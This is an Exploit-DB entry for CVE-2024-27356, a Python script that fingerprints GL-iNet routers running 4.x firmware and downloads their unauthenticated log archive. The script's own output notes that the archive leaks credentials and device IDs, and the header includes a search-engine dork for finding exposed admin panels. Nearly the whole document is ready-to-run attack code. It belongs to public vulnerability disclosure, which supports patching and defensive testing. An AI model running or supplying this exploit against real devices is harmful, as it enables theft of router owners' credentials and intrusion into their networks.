Exploit-DB #51942
Description: GL-iNet MT6000 4.5.5 - Arbitrary File Download
Type: remote
Platform: hardware
Date: 2024-04-02
Author: Bandar Alharbi

Exploit:
# Exploit Title: GL-iNet MT6000 4.5.5 - Arbitrary File Download
# CVE: CVE-2024-27356
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: 2/26/2024
# Exploit Author: Bandar Alharbi (aggressor)
# Vendor Homepage: www.gl-inet.com
# Tested Software Link: https://fw.gl-inet.com/firmware/x3000/release/openwrt-x3000-4.0-0406release1-0[PII_REDACTED]441.bin
# Tested Model: GL-X3000 Spitz AX
# Affected Products and Firmware Versions: https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Download_file_vulnerability.md

import sys
import requests
import json
requests.packages.urllib3.disable_warnings()
h = {'Content-type':'application/json;charset=utf-8', 'User-Agent':'Mozilla/5.0 (compatible;contxbot/1.0)'}

def DoesTarExist():
    r = requests.get(url+"/js/logread.tar", verify=False, timeout=30, headers=h)
    if r.status_code == 200:
        f = open("logread.tar", "wb")
        f.write(r.content)
        f.close()
        print("[*] Full logs archive `logread.tar` has been downloaded!")
        print("[*] Do NOT forget to untar it and grep it! It leaks confidential info such as credentials, registered Device ID and a lot more!")
        return True
    else:
        print("[*] The `logread.tar` archive does not exist however ... try again later!")
        return False

def isVulnerable():
    r1 = requests.post(url+"/rpc", verify=False, timeout=30, headers=h)
    if r1.status_code == 500 and "nginx" in r1.text:
        r2 = requests.get(url+"/views/gl-sdk4-ui-login.common.js", verify=False, timeout=30, headers=h)
        if  "Admin-Token" in r2.text:
            j  = {"jsonrpc":"2.0","id":1,"method":"call","params":["","ui","check_initialized"]}
            r3 = requests.post(url+"/rpc", verify=False, json=j, timeout=30, headers=h)
            ver = r3.json()['result']['firmware_version']
            model = r3.json()['result']['model']
            if ver.startswith(('4.')):
                print("[*] Firmware version (%s) is vulnerable!" %ver)
                print("[*] Device model is: %s" %model)
                return True
    print("[*] Either the firmware version is not vulnerable or the target may not be a GL.iNet device!")
    return False

def isAlive():
    try:
        r = requests.get(url, verify=False, timeout=30, headers=h)
        if r.status_code != 200:
            print("[*] Make sure the target's web interface is accessible!")
            return False
        elif r.status_code == 200:
            print("[*] The target is reachable!")
            return True
    except Exception:
        print("[*] Error occurred when connecting to the target!")
        pass
    return False

if __name__ == '__main__':
    if len(sys.argv) != 2:
        print("exploit.py url")
        sys.exit(0)
    url = sys.argv[1]
    url = url.lower()
    if not url.startswith(('http://', 'https://')):
        print("[*] Invalid url format! It should be http[s]://<domain or ip>")
        sys.exit(0)
    if url.endswith("/"):
        url = url.rstrip("/")

    print("[*] GL.iNet Unauthenticated Full Logs Downloader")

    try:
        if (isAlive() and isVulnerable()) == (True and True):
            DoesTarExist()
    except KeyboardInterrupt:
        print("[*] The exploit has been stopped by the user!")
        sys.exit(0)